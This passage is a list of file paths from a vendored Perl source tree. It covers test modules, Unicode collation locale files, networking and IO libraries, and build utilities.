    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser.pm
    vendor/perl/dist/cpan/Test-Harness/lib/Test/Harness.pm
    vendor/perl/dist/cpan/Test-Harness/t/iterator_factory.t
    vendor/perl/dist/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm
    vendor/perl/dist/cpan/Test-Harness/t/nofork-mux.t
    vendor/perl/dist/cpan/Test-Harness/t/regression.t
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Formatter.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/IO/Scalar.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Module.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Tester.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/More.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Simple.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/Capture.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester/Delegate.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Tester.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test/Tutorial.pod
    vendor/perl/dist/cpan/Test-Simple/lib/Test/use/ok.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Breakage.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Context.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Instance.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/API/Stack.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/API.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Bail.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Diag.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Encoding.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Exception.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Generic.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Note.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Ok.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Plan.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Skip.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Subtest.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Waiting.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Formatter.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC/Driver.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Transition.pod
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/HashBase.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/Trace.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2.pm
    vendor/perl/dist/cpan/Test-Simple/lib/ok.pm
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/Builder.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/details.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/is_passing.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/no_diag.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/no_ending.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/reset.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/637.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/bail_out.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/buffer.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/c_flag.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/check_tests.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/died.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/exit.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/extra.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/extra_one.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail-like.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail-more.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/fail_one.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/harness_active.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/missing.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_plan.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_tests.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/overload_threads.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/skip.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/bail_out.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/basic.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/do.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/events.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/fork.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/undef.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/utf8.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/versions.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_events.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/init_croak.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/no_load_api.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/special_names.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/legacy/TAP.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API/Context.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API/Instance.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Bail.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Diag.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Exception.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Generic.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Note.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Ok.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Plan.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Skip.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Hub.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/Trace.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/gh_16.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t
    vendor/perl/dist/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm
    vendor/perl/dist/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm
    vendor/perl/dist/cpan/Test-Simple/t/regression/696-intercept_skip_all.t
    vendor/perl/dist/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t
    vendor/perl/dist/cpan/Time-Piece/Piece.pm
    vendor/perl/dist/cpan/Time-Piece/Piece.xs
    vendor/perl/dist/cpan/Time-Piece/Seconds.pm
    vendor/perl/dist/cpan/Time-Piece/t/01base.t
    vendor/perl/dist/cpan/Time-Piece/t/02core.t
    vendor/perl/dist/cpan/Time-Piece/t/02core_dst.t
    vendor/perl/dist/cpan/Time-Piece/t/03compare.t
    vendor/perl/dist/cpan/Time-Piece/t/07arith.t
    vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Big5.pm
    vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/GB2312.pm
    vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/JISX0208.pm
    vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Korean.pm
    vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Pinyin.pm
    vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Stroke.pm
    vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Zhuyin.pm
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/af.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ar.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/as.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/az.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/be.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/bn.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ca.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/cs.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/cy.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/da.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/de_phone.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ee.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/eo.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/es.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/es_trad.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/et.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fa.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fi.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fi_phone.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fil.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fo.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/gu.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ha.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/haw.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/he.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hi.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hr.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hu.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hy.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ig.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/is.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ja.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kk.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kl.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kn.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ko.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kok.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ln.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lt.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lv.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mk.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ml.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mr.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mt.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nb.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nn.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nso.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/om.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/or.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/pa.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/pl.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ro.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sa.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/se.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/si.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/si_dict.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sk.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sl.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sq.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sr.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sv.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sv_refo.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ta.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/te.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/th.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/tn.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/to.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/tr.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/uk.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ur.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/vi.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/vo.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/wae.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/wo.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/yo.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_big5.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_gb.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_pin.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_strk.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_zhu.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale.pm
    vendor/perl/dist/cpan/Unicode-Collate/Collate/allkeys.txt
    vendor/perl/dist/cpan/Unicode-Collate/Collate.pm
    vendor/perl/dist/cpan/Unicode-Collate/Collate.xs
    vendor/perl/dist/cpan/Unicode-Collate/Makefile.PL
    vendor/perl/dist/cpan/Unicode-Collate/mkheader
    vendor/perl/dist/cpan/Unicode-Collate/t/cjkrange.t
    vendor/perl/dist/cpan/Unicode-Collate/t/compatui.t
    vendor/perl/dist/cpan/Unicode-Collate/t/hangtype.t
    vendor/perl/dist/cpan/Unicode-Collate/t/illegal.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_af.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_az.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_cs.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_ee.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_eo.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_es.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_estr.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_et.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_fil.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_pl.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_se.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_wo.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_yo.t
    vendor/perl/dist/cpan/Unicode-Collate/t/overcjk0.t
    vendor/perl/dist/cpan/Unicode-Collate/t/overcjk1.t
    vendor/perl/dist/cpan/Unicode-Collate/t/version.t
    vendor/perl/dist/cpan/Unicode-Collate/t/view.t
    vendor/perl/dist/cpan/autodie/lib/autodie/exception.pm
    vendor/perl/dist/cpan/autodie/lib/autodie/hints.pm
    vendor/perl/dist/cpan/autodie/t/exceptions.t
    vendor/perl/dist/cpan/autodie/t/lib/Hints_pod_examples.pm
    vendor/perl/dist/cpan/bignum/lib/Math/BigFloat/Trace.pm
    vendor/perl/dist/cpan/bignum/lib/Math/BigInt/Trace.pm
    vendor/perl/dist/cpan/bignum/lib/bigint.pm
    vendor/perl/dist/cpan/bignum/lib/bignum.pm
    vendor/perl/dist/cpan/bignum/lib/bigrat.pm
    vendor/perl/dist/cpan/experimental/lib/experimental.pm
    vendor/perl/dist/cpan/experimental/t/basic.t
    vendor/perl/dist/cpan/libnet/Makefile.PL
    vendor/perl/dist/cpan/libnet/lib/Net/Cmd.pm
    vendor/perl/dist/cpan/libnet/lib/Net/Config.pm
    vendor/perl/dist/cpan/libnet/lib/Net/Domain.pm
    vendor/perl/dist/cpan/libnet/lib/Net/FTP/A.pm
    vendor/perl/dist/cpan/libnet/lib/Net/FTP/E.pm
    vendor/perl/dist/cpan/libnet/lib/Net/FTP/I.pm
    vendor/perl/dist/cpan/libnet/lib/Net/FTP/L.pm
    vendor/perl/dist/cpan/libnet/lib/Net/FTP/dataconn.pm
    vendor/perl/dist/cpan/libnet/lib/Net/FTP.pm
    vendor/perl/dist/cpan/libnet/lib/Net/NNTP.pm
    vendor/perl/dist/cpan/libnet/lib/Net/Netrc.pm
    vendor/perl/dist/cpan/libnet/lib/Net/POP3.pm
    vendor/perl/dist/cpan/libnet/lib/Net/SMTP.pm
    vendor/perl/dist/cpan/libnet/lib/Net/Time.pm
    vendor/perl/dist/cpan/libnet/lib/Net/libnetFAQ.pod
    vendor/perl/dist/cpan/podlators/lib/Pod/Man.pm
    vendor/perl/dist/cpan/podlators/lib/Pod/ParseLink.pm
    vendor/perl/dist/cpan/podlators/lib/Pod/Text/Color.pm
    vendor/perl/dist/cpan/podlators/lib/Pod/Text/Overstrike.pm
    vendor/perl/dist/cpan/podlators/lib/Pod/Text/Termcap.pm
    vendor/perl/dist/cpan/podlators/lib/Pod/Text.pm
    vendor/perl/dist/cpan/podlators/scripts/pod2man.PL
    vendor/perl/dist/cpan/podlators/scripts/pod2text.PL
    vendor/perl/dist/cpan/podlators/t/data/basic.cap
    vendor/perl/dist/cpan/podlators/t/data/basic.clr
    vendor/perl/dist/cpan/podlators/t/data/basic.man
    vendor/perl/dist/cpan/podlators/t/data/basic.ovr
    vendor/perl/dist/cpan/podlators/t/data/basic.pod
    vendor/perl/dist/cpan/podlators/t/data/basic.txt
    vendor/perl/dist/cpan/podlators/t/data/snippets/man/error-stderr
    vendor/perl/dist/cpan/podlators/t/data/snippets/man/soft-hyphens
    vendor/perl/dist/cpan/podlators/t/docs/pod-spelling.t
    vendor/perl/dist/cpan/podlators/t/docs/pod.t
    vendor/perl/dist/cpan/podlators/t/docs/synopsis.t
    vendor/perl/dist/cpan/podlators/t/lib/Test/RRA/Config.pm
    vendor/perl/dist/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm
    vendor/perl/dist/cpan/podlators/t/lib/Test/RRA.pm
    vendor/perl/dist/cpan/podlators/t/style/minimum-version.t
    vendor/perl/dist/cpan/podlators/t/style/module-version.t
    vendor/perl/dist/cpan/podlators/t/style/strict.t
    vendor/perl/dist/cpan/podlators/t/text/options.t
    vendor/perl/dist/cpan/version/lib/version/regex.pm
    vendor/perl/dist/cpan/version/lib/version.pm
    vendor/perl/dist/cpan/version/lib/version.pod
    vendor/perl/dist/cpan/version/t/01base.t
    vendor/perl/dist/cpan/version/t/02derived.t
    vendor/perl/dist/cpan/version/t/03require.t
    vendor/perl/dist/cpan/version/t/04strict_lax.t
    vendor/perl/dist/cpan/version/t/05sigdie.t
    vendor/perl/dist/cpan/version/t/06noop.t
    vendor/perl/dist/cpan/version/t/07locale.t
    vendor/perl/dist/cpan/version/t/08_corelist.t
    vendor/perl/dist/cpan/version/t/09_list_util.t
    vendor/perl/dist/cv.h
    vendor/perl/dist/cygwin/cygwin.c
    vendor/perl/dist/dist/Attribute-Handlers/lib/Attribute/Handlers.pm
    vendor/perl/dist/dist/Carp/Changes
    vendor/perl/dist/dist/Carp/lib/Carp/Heavy.pm
    vendor/perl/dist/dist/Carp/lib/Carp.pm
    vendor/perl/dist/dist/Carp/t/Carp.t
    vendor/perl/dist/dist/Carp/t/arg_regexp.t
    vendor/perl/dist/dist/Carp/t/arg_string.t
    vendor/perl/dist/dist/Carp/t/vivify_stash.t
    vendor/perl/dist/dist/Data-Dumper/Changes
    vendor/perl/dist/dist/Data-Dumper/Dumper.pm
    vendor/perl/dist/dist/Data-Dumper/Dumper.xs
    vendor/perl/dist/dist/Data-Dumper/t/dumper.t
    vendor/perl/dist/dist/Data-Dumper/t/indent.t
    vendor/perl/dist/dist/Data-Dumper/t/misc.t
    vendor/perl/dist/dist/Data-Dumper/t/pair.t
    vendor/perl/dist/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t
    vendor/perl/dist/dist/Data-Dumper/t/quotekeys.t
    vendor/perl/dist/dist/Data-Dumper/t/terse.t
    vendor/perl/dist/dist/Dumpvalue/t/Dumpvalue.t
    vendor/perl/dist/dist/Exporter/lib/Exporter.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/Changes
    vendor/perl/dist/dist/ExtUtils-CBuilder/LICENSE
    vendor/perl/dist/dist/ExtUtils-CBuilder/Makefile.PL
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Base.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Unix.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/VMS.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/BCC.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/GCC.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows/MSVC.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/Windows.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/aix.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/android.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/cygwin.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/darwin.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/dec_osf.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder/Platform/os2.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/lib/ExtUtils/CBuilder.pm
    vendor/perl/dist/dist/ExtUtils-CBuilder/t/00-have-compiler.t
    vendor/perl/dist/dist/ExtUtils-CBuilder/t/01-basic.t
    vendor/perl/dist/dist/ExtUtils-ParseXS/Changes
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/InputMap.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/OutputMap.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Type.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps.pm
    vendor/perl/dist/dist/ExtUtils-ParseXS/lib/perlxs.pod
    vendor/perl/dist/dist/ExtUtils-ParseXS/t/XSTest.xs
    vendor/perl/dist/dist/ExtUtils-ParseXS/t/XSUsage.xs
    vendor/perl/dist/dist/Filter-Simple/lib/Filter/Simple.pm
    vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags/Detect.pm
    vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags/List.pm
    vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags.pm
    vendor/perl/dist/dist/IO/ChangeLog
    vendor/perl/dist/dist/IO/IO.pm
    vendor/perl/dist/dist/IO/IO.xs
    vendor/perl/dist/dist/IO/Makefile.PL
    vendor/perl/dist/dist/IO/lib/IO/Dir.pm
    vendor/perl/dist/dist/IO/lib/IO/File.pm
    vendor/perl/dist/dist/IO/lib/IO/Handle.pm
    vendor/perl/dist/dist/IO/lib/IO/Pipe.pm
    vendor/perl/dist/dist/IO/lib/IO/Poll.pm
    vendor/perl/dist/dist/IO/lib/IO/Seekable.pm
    vendor/perl/dist/dist/IO/lib/IO/Select.pm
    vendor/perl/dist/dist/IO/lib/IO/Socket/INET.pm
    vendor/perl/dist/dist/IO/lib/IO/Socket/UNIX.pm
    vendor/perl/dist/dist/IO/lib/IO/Socket.pm
    vendor/perl/dist/dist/IO/poll.c
    vendor/perl/dist/dist/IO/t/io_dir.t
    vendor/perl/dist/dist/IO/t/io_sock.t
    vendor/perl/dist/dist/IO/t/io_utf8.t
    vendor/perl/dist/dist/IO/t/io_utf8argv.t
    vendor/perl/dist/dist/Locale-Maketext/lib/Locale/Maketext.pm
    vendor/perl/dist/dist/Locale-Maketext/lib/Locale/Maketext.pod
    vendor/perl/dist/dist/Locale-Maketext/t/60_super.t
    vendor/perl/dist/dist/Locale-Maketext/t/70_fail_auto.t
    vendor/perl/dist/dist/Module-CoreList/Changes
    vendor/perl/dist/dist/Module-CoreList/MANIFEST
    vendor/perl/dist/dist/Module-CoreList/Makefile.PL
    vendor/perl/dist/dist/Module-CoreList/corelist
    vendor/perl/dist/dist/Module-CoreList/identify-dependencies
    vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList/Utils.pm
